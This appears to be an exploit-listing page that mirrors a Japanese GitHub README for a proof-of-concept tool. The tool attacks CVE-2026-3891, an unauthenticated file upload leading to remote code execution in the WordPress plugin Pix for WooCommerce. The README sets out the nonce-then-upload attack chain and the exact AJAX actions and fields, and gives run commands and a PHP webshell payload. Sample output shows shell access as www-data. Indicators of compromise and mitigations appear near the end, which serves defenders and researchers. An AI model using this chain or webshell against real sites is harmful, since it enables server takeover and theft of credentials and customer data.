Sploitus

Exploit for CVE-2026-3891

kitploit · 2026-08-27

Exploit Code

MARKDOWN276 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CH4120N-CVE-2026-3891
# 🚀 CVE-2026-3891 – Pix for WooCommerce 未認証ファイルアップロードによる RCE

![Python](https://img.shields.io/badge/Python-3.8+-blue) ![Exploit](https://img.shields.io/badge/Exploit-PoC-red) ![CVE](https://img.shields.io/badge/CVE-2026--3891-critical)

![GitHub stars](https://img.shields.io/github/stars/Ch4120N/CVE-2026-3891.svg) ![GitHub issues](https://img.shields.io/github/issues/Ch4120N/CVE-2026-3891.svg) ![License](https://img.shields.io/badge/license-MIT-green)

> **CVE-2026-3891 の概念実証(PoC)エクスプロイト** – WordPress プラグイン **Pix for WooCommerce** (≤ 1.5.0)における未認証の任意ファイルアップロードからリモートコード実行に至る脆弱性です。

* * *

## 📖 概要

**CVE-2026-3891** は、Pix for WooCommerce プラグインにおける深刻な脆弱性で、**1.5.0** までの全バージョンに影響します。このプラグインは AJAX ハンドラー `lkn_pix_for_woocommerce_c6_save_settings` において適切な認可とファイルタイプの検証を行っていません。未認証の攻撃者はこの欠陥を悪用して、公開アクセス可能なディレクトリに任意の PHP ファイルをアップロードし、対象の WordPress サーバー上でリモートコード実行を達成できます。

このリポジトリには、有効な nonce の取得から Web シェルのアップロードまでの攻撃チェーン全体を自動化する**本番品質の PoC** が含まれており、堅牢なエラーハンドリングと美しい CLI インターフェースを備えています。

### 🔍 主な特徴

  * **完全に未認証** – WordPress の認証情報やセッション Cookie は不要です。
  * **nonce の自動抽出** – エクスプロイトは、同じ公開 AJAX インターフェースを介して必要なセキュリティ nonce を取得します。
  * **マルチパートファイルアップロード** – 脆弱なハンドラーが期待する `certificate_crt_path` ファイルパラメータを正しく構築します。
  * **URL の直接生成** – アップロードされたペイロードの公開 URL を即座に提供します。
  * **侵害後(ポストエクスプロイト)チェック** – アップロード成功の任意検証と、その場でのコマンド実行(`--check`)。
  * **高度なエラーハンドリング** – Cloudflare、WAF、タイムアウト、不正なレスポンスを適切に処理します。
  * **クリーンで分かりやすい出力** – すべてのメッセージに `[ * ]`、`[ + ]`、`[ - ]`、`[ ! ]` のプレフィックスが付き、即座に判読できます。



* * *

## 🧬 脆弱性の詳細

根本原因は、プラグインによって登録された 2 つの AJAX アクションにあります:

### 1\. `lkn_pix_for_woocommerce_generate_nonce`

root@kitploit:~
    
    
    add_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
    

このアクションは `wp_ajax_nopriv_*` にフックされており、**未認証** の訪問者でもアクセス可能です。`lkn_pix_for_woocommerce_c6_settings_nonce` アクション用の nonce を生成し、JSON エンベロープで返します:

root@kitploit:~
    
    
    {"success":true,"data":{"nonce":"abc123..."}}
    

権限チェックやユーザー認証は実行されません。つまり、誰でも有効な nonce を要求できます。

### 2\. `lkn_pix_for_woocommerce_c6_save_settings`

root@kitploit:~
    
    
    add_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
    

このハンドラーは、`certificate_crt_path` というファイルアップロードフィールドを含むプラグイン設定を保存します。アップロードは WordPress の `media_handle_upload` **ヘルパー** を通じて行われますが、プラグインは以下を**行いません** :

  * リクエストが認証済みかつ許可されたユーザーからのものであることを検証する(`current_user_can` の欠如)。
  * ファイルタイプや拡張子の制限を実施する(例:`.php` ファイルを許可してしまう)。
  * ファイルを実行不可の場所に保存する – 実際には以下の場所に保存されます: 

root@kitploit:~
        
        wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
        

この場所は **Web 経由で直接アクセス可能** です。



nonce は CSRF 対策にしかならず、誰でも取得できるため、攻撃者はこれら 2 つのアクションを連鎖させて任意の PHP コードをアップロード・実行できます。

### 影響を受けるバージョン

  * **Pix for WooCommerce** バージョン **≤ 1.5.0**
  * この脆弱性は、デフォルト構成のクリーンな WordPress インストール環境で確認されています。



### 影響

  * **リモートコード実行** – Web サーバーの権限(通常は `www-data` または `apache`)で完全な Web シェルアクセスが可能。
  * **データ漏えい** – `wp-config.php`、データベース認証情報、顧客データの読み取りが可能。
  * **永続化** – コアファイルの改ざん、バックドアの埋め込み。
  * **サイトの完全乗っ取り** – データベースにアクセスできれば WordPress 管理者権限へ昇格可能。



* * *

## 🛠️ 悪用の要件

  * 対象の WordPress サイトへの**ネットワークアクセス** (認証は不要)。
  * `requests` ライブラリを備えた **Python 3.8+** (`pip install requests` でインストール)。
  * 対象に脆弱性のあるプラグインがインストールされ、有効化されていること(デフォルト構成で十分)。



* * *

## 🚀 使い方

### インストール

root@kitploit:~
    
    
    git clone https://github.com/Ch4120N/CVE-2026-3891.git
    cd CVE-2026-3891
    pip install -r requirements.txt   # requests
    

### 基本コマンド

root@kitploit:~
    
    
    python CVE-2026-3891.py http://target.com/wordpress
    

より詳細な制御が必要な場合は、コマンドラインオプションを使用します:

root@kitploit:~
    
    
    python CVE-2026-3891.py https://example.com \
      -f shell.php \
      -p '<?php system($_GET["c"]); ?>' \
      --check \
      --timeout 20
    

### 出力例

root@kitploit:~
    
    
      ___  _  _  ____     ___   ___  ___    _       ___  ___  ___  __ 
     / __)( \/ )( ___)___(__ \ / _ \(__ \  / )  ___(__ )( _ )/ _ \/  )
    ( (__  \  /  )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_  / )( 
     \___)  \/  (____)   (____)\___/(____)\___/    (___/\___/ (_/ (__)
                            [CVE-2026-3891]
              Pix for WooCommerce Unauthenticated File Upload
                             Owner: Ch4120N
    
    [ * ] Warming up session (fetching homepage)...
    [ * ] Homepage status: 200
    [ * ] Requesting nonce (attempt 1/2)...
    [ * ] Response status: 200
    [ + ] Nonce obtained: 7e8f9a0b1c
    [ * ] Uploading payload as woocommerce.php...
    [ * ] Upload response status: 200
    [ + ] Payload delivered to server.
    [ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
    [ + ] File is accessible (HTTP 200).
    [ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
    
    # Optional check:
    [ * ] Checking shell with command: id
    [ + ] Command output:
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    

### コマンドラインオプション

* * *

## 🧪 検知とチューニングのための技術的詳細

### Nonce 生成エンドポイント

  * **URL:** `http://target/wp-admin/admin-ajax.php`
  * **アクション:** `lkn_pix_for_woocommerce_generate_nonce`
  * **パラメータ:** `action_name=lkn_pix_for_woocommerce_c6_settings_nonce`
  * **レスポンス:** `{"success":true,"data":{"nonce":"..."}}`
  * **注記:** このアクションは `wp_ajax_nopriv_*` で登録されているため、nonce は**常に取得可能** です。Cookie やセッションは不要です。



### ファイルアップロードパラメータ

  * **URL:** 同じ `admin-ajax.php`
  * **アクション:** `lkn_pix_for_woocommerce_c6_save_settings`
  * **必須フィールド:**
    * `_ajax_nonce` – 事前に取得した nonce
    * `certificate_crt_path` – マルチパートのファイルアップロード(ペイロード)
  * **ファイルタイプ:** プラグインは拡張子を検証しないため、`.php` ファイルがリネームされることなく受け入れられ、保存されます。



### 公開ストレージパス

アップロードが成功すると、ファイルは以下の場所に配置されます:

root@kitploit:~
    
    
    /wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>
    

このディレクトリは **Web から直接アクセス可能** です。Web サーバーが PHP を処理するように設定されていれば(WordPress 管理サーバーではデフォルト)、PHP ファイルが実行されます。

### 侵害の痕跡(IoCs)

  * `certs_c6` ディレクトリに予期しない PHP ファイルが出現する(特に `woocommerce.php`、`shell.php` などのファイル)。
  * 信頼できない IP からの、上記のアクションを使用した通常とは異なる `admin-ajax.php` への POST リクエスト。
  * `?cmd=id` のようなクエリパラメータを伴う `.../certs_c6/` への直接アクセスがアクセスログに記録される。



* * *

## 🛡️ 検知と緩和策

### 検知

WordPress のログで以下を監視します:

  * `action=lkn_pix_for_woocommerce_generate_nonce` および `action=lkn_pix_for_woocommerce_c6_save_settings` を伴う `/wp-admin/admin-ajax.php` への繰り返しの POST リクエスト。
  * `certs_c6` フォルダへの新しいファイルの作成。ファイル整合性監視ツール(例:Tripwire、OSSEC)を使用して変更をアラートします。
  * 外部 IP からそのディレクトリ内の PHP ファイルが実行されたことを示す Web サーバーログ。



### 緩和策

  1. **プラグインを更新する** – 公式修正を含む 1.5.0 より新しいバージョンを確認します(リリースされている場合)。
  2. **仮想パッチを適用する** – WAF ルール(例:ModSecurity、Cloudflare WAF)で脆弱な AJAX アクションへのアクセスをブロックします。
  3. **ファイル実行を制限する** – プラグインが必須の場合は、Web サーバーを設定して `certs_c6` ディレクトリ内での PHP 実行を拒否します(例:`php_flag engine off` を含む `.htaccess` を使用)。
  4. **AJAX ハンドラーを堅牢化する** – プラグインを保守している場合は、両方のアクションが認証済みかつ許可されたユーザーのみにアクセス可能であることを確認します(nonce 生成には `current_user_can('manage_options')`、アップロードには適切な nonce 検証と権限チェック)。
  5. **プラグインを無効化する** – Pix for WooCommerce が必須でない場合は、完全に削除します。



* * *

## 👏 クレジット

  * **エクスプロイト開発 & PoC:** Ch4120N
  * **脆弱性分析:** 独立したセキュリティ研究



* * *

## 📄 ライセンス

このプロジェクトは MIT ライセンスの下で提供されています – 詳細は LICENSE ファイルを参照してください。

**免責事項:** このツールは、許可されたセキュリティテストおよび教育目的のみを対象としています。作者は、このソフトウェアによって引き起こされる誤用や損害について一切の責任を負いません。

* * *

## 📚 参照

  * NIST NVD – CVE-2026-3891
  * WordPress Plugin Repository – Pix for WooCommerce(修正版の変更履歴を確認してください)
  * Patchstack / WPScan Vulnerability Database(エントリが存在する場合)



* * *

## ⭐ サポート

この PoC が役に立った場合は、GitHub で ⭐ を付けて、責任を持って共有することを検討してください。コントリビューション、Issue、プルリクエストを歓迎します!

* * *

**ハッピーハッキング!** 🛡️